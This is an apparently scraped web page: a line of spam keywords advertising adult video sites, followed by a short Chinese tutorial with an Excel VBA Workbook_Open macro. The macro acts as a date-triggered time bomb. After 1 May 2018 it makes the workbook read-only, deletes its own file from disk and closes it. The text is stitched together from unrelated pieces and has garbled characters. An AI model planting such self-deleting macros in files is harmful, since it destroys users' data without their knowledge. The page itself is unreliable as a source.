中文字幕理论片,69视频免费在线观看,亚洲成人app,国产1级毛片,刘涛最大尺度戏视频,欧美亚洲美女视频,2021韩国美女仙女屋vip视频

此代碼為工作簿事件代碼

工作簿事件總是在工作簿發(fā)生更改時觸發(fā)的?？梢酝ㄟ^選擇“ThisWorkbook”并從下拉列表中選擇“workbook”來添加工作簿事件的代碼，如下圖所示：

Private Sub Workbook_Open()

     If Now() > #5/1/2018# Then ‘如果當前日期超過2018年5月1日，則啟動自殺

  With ThisWorkbook

    .Saved = True '關閉時不出現(xiàn)保存提示框

    .ChangeFileAccess xlReadOnly '訪問權限設置為只讀

    Kill  .FullName '刪除磁盤上的工作簿文件

    .Close False '關閉文件，不保存

 End With

    Else

       Exit Sub '退出程序

    End If

End Sub

備注：如果用戶設置禁用宏，則代碼失效